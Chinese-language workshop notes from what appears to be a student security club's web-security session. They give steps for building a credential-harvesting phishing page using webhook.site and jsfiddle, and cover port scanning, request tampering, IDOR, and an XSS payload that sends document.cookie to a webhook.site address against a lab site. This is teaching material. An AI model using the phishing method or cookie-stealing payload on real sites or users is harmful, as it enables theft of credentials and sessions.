---
# System prepended metadata

title: 網頁安全 1
tags: [112-1]

---

# 網頁安全 1

:::info
時間：11/21 19:00~21:00
地點：學活中心 3樓 第三會議室
主題：網頁安全 1
簡報：
回饋表單：https://forms.gle/4CnnDjXk6Ub4do5H7
>fei@kiwissec.com[name=飛飛]
:::




## 試算表

https://docs.google.com/spreadsheets/d/1zmp4-gi4B9BTtb2hQW1CLpa8dkWCWd2thpm30rRopEE/edit?usp=sharing

==19:35== 你要完成釣魚網站
==20:35== 你要完成攔截封包+修改封包內容

## 釣魚網站三步驟
1. 複製原始碼(模擬哪一個網頁 HTML)
2. 認領自己的 webhook.site 網址
3. 將原始碼+網址貼到 jsfiddle


### 原始碼

- 釣魚網站的原始碼(HTML,CSS)
    - https://github.com/fei3363/phishing_demo/blob/main/index.html#L102
- 從 webhook.site 中複製屬於自己的網址
    - 取代第 36 行跟 102 行

![image](https://hackmd.io/_uploads/rJd_ltuET.png)

### 複製 Website URL

https://webhook.site/

![image](https://hackmd.io/_uploads/BJ-l-KuNp.png)

觀察左邊的內容

可以看到自己輸入的帳號密碼
![image](https://hackmd.io/_uploads/SkrMWtuNp.png)



### jsfiddle 放 HTML
https://jsfiddle.net/

![image](https://hackmd.io/_uploads/r16ieK_VT.png)


![image](https://hackmd.io/_uploads/H1OBeFdVa.png)

![image](https://hackmd.io/_uploads/SkOIet_Va.png)


## 開發人員工具

![image](https://hackmd.io/_uploads/r1uH8fcET.png)
![image](https://hackmd.io/_uploads/Hy1tUGqN6.png)

### 目的
- 看註解
    - 帳號/密碼 (因開發工程師不注意)
    - API token 
    - API Path
- 網頁結構


### 網路 Network
- 觀察封包結構
    - 內容
- 步驟
    - 瀏覽器 "請求封包"  ---> 伺服器 "進行處理"
    - 伺服器 "回應封包"  ---> 瀏覽器 "渲染頁面"
        - HTML 標籤


![image](https://hackmd.io/_uploads/S12gYMcVa.png)


## User-agent
- robots.txt
    - 爬蟲
    - 駭客: 直接瀏覽
        - 有哪一些路徑可以攻擊
- 伺服器/釣魚網站知道
    - 使用設備
    - 瀏覽器
    - 手機(安卓 iOS)
- 被偽造
    - 網站依賴 user-agent 驗證
        - 可以直接 bypass
    - ![image](https://hackmd.io/_uploads/ryzs5MqVT.png)
- CTF 題目
    - 指定特殊 user-agent
        - 看到特定畫面


## 網站 == 房子

房子門、窗戶 --> 網路 port 對應 服務


門牌號碼 --> 霏霏路28 號 --> Domain 域名
23 123 --> 139.162.81.48(IP)

(IP) 對應到禹名 DNS

`nslookup feifei.tw`

![image](https://hackmd.io/_uploads/rJVx0GqNT.png)


### 伺服器/IP 開了多少門
- nmap 工具
    - 參數 1000 port
- 網路世界 65535 
    - nmap -p- 

## 網站世界裡面
- debug 模式沒關
    - 資料庫位置
        - 帳號
        - 密碼
    - 網站路徑(區分作業系統)
        - Windows
            - C:
            - D:
            - E:
        - Linux 
            - / 根目錄
            - /etc/www/html
        - MacOS

## 重送封包的攻擊手法
- 瀏覽器
    - 火狐 Firefox
- 工具
    - BurpSuite
- LAB
    - http://vullab.feifei.tw
        - 註冊+登入
    - 嘗試購買
    - 攔截封包
    - 修改封包
    - 重送封包
- 步驟
    - 正常登入+正常購買 ==> 開發人員工具
    - 攔截封包 + 修改封包的內容
- URL 編碼
    - ![image](https://hackmd.io/_uploads/S1qRg79Va.png)
    - https://www.urldecoder.org/

- 步驟截圖
    - 開啟開發者工具+輸入個數
        - ![image](https://hackmd.io/_uploads/ryVSWQ94T.png)
    - 確認頁面+確認封包
        - ![image](https://hackmd.io/_uploads/BJJd-7cET.png)
    - 開啟指定封包 `post.php` 封包
        - ![image](https://hackmd.io/_uploads/S1TYWQcNT.png)
    - 點選重新傳送
        - ![image](https://hackmd.io/_uploads/Syps-794a.png)
    - 往下滑滑到 request body
        - 請求封包的參數
        - 參數跟參數之間利用 `&` 符號串接
        - 封包裡面有四個參數
        - 非合法參數文字(中文或特殊符號)被 URL 編碼
        - ![image](https://hackmd.io/_uploads/rkyeMQcV6.png)
    - 竄改參數
        - ![image](https://hackmd.io/_uploads/Hy5bGX5Vp.png)
    - 新增新的封包
        - ![image](https://hackmd.io/_uploads/SJAzGXqVa.png)
    - 針對新增的封包點兩下會跳到新頁面
        - ![image](https://hackmd.io/_uploads/H1T4Gm9Np.png)
    - 確認竄改的內容
        - ![image](https://hackmd.io/_uploads/ryaUz79E6.png)
- 漏洞成因
    - 沒有驗證所輸入的參數是否合理
        - 不該直接將價格一起放在參數傳送的地方


- 攻擊手法2
    - 直接開啟開發人員工具
        - ![image](https://hackmd.io/_uploads/SyBPNmcEa.png)
    - 修改 readonly 值
        - value
        - ![image](https://hackmd.io/_uploads/BJgoEQ9NT.png)


### 攻擊: 網站裡面有表單
1. 開發人員工具
2. 表單 form 標籤
3. input 標籤 value 更改
4. 送出-->確認後端是否有去驗證

### 真實範例
- https://zeroday.hitcon.org/vulnerability/ZD-2019-00222


### IDOR(Insecure Direct Object Reference)
- 步驟一：觀察網址參數
    - 參數名稱 id 
        - 參數值 1
    - 列舉全部的產品
    - 後端(程式碼)沒有驗證有沒有權限瀏覽
        - 測試產品
        - 未上架的產品
- 步驟二：參數如果有流水號，測試
    - ＋１－１
    - 抽獎、發票
- 網址列
    - 請求 GET
    - 參數
        - ?name=value
    - 多參數
        - ?name1=value1&name2=value2
        - 
- ![image](https://hackmd.io/_uploads/HJShH75Va.png)
- 範例
    - https://zeroday.hitcon.org/vulnerability/ZD-2020-01252
    - https://zeroday.hitcon.org/api/vulnerability/8011/attachments/20ed27cfffcfe90e2ae5aba3800b1b7c


### XSS
![image](https://hackmd.io/_uploads/Hk5ivQcVa.png)


- HTML --> 整個頁面被蓋掉
    - hack by 飛飛
    - HTML injection
![image](https://hackmd.io/_uploads/rJc0vQ9V6.png)

- CSS
    - ![image](https://hackmd.io/_uploads/r1jU_Q946.png)

- JS
    - ![image](https://hackmd.io/_uploads/Hyqq_Q94p.png)
![image](https://hackmd.io/_uploads/ry6lKm94T.png)

- XSS 攻擊
    - 網站可以渲染 JS 程式語言
    - 構造一個攻擊語法
```
<script>new Image().src="https://webhook.site/6ce82d6e-f233-4445-b9a3-3b9d6ab8d352?data="+document.cookie;</script>
```
- JS 語法
    - 瀏覽頁面
    - 背景構造一個圖片
    - 圖片來源
        - 駭客收集路徑+ JS 讀取到大家 Cookie 

http://vullab.feifei.tw/index.php?username=%3Cscript%3Enew+Image%28%29.src%3D%22https%3A%2F%2Fwebhook.site%2F6ce82d6e-f233-4445-b9a3-3b9d6ab8d352%3Fdata%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E



## 小節
- 釣魚網站怎麼做
- 網頁基礎架構
    - 前端
        - HTML
        - CSS
        - Javscript
    - 後端
        - PHP/Python/Nodejs
- 前端 vs 後端溝通
    - HTTP 協定=寫好遊戲規則(怎麼連線)
    - 封包架構+封包方法
        - 網址 ==> GET 封包
        - HTML Form 表單 method 查看封包方法
- 網站的弱點
    - XSS
        - JS
    - IDOR
        - 參數沒驗證
    - 重新送封包參數內容 商業邏輯漏洞
        - 修改參數
        - 左右商業邏輯
- 下禮拜(預習)
    - cookie 機制
    - XSS 機制
    - SQL injection 資料庫相關漏洞攻擊手法
        - SQL map 工具如何使用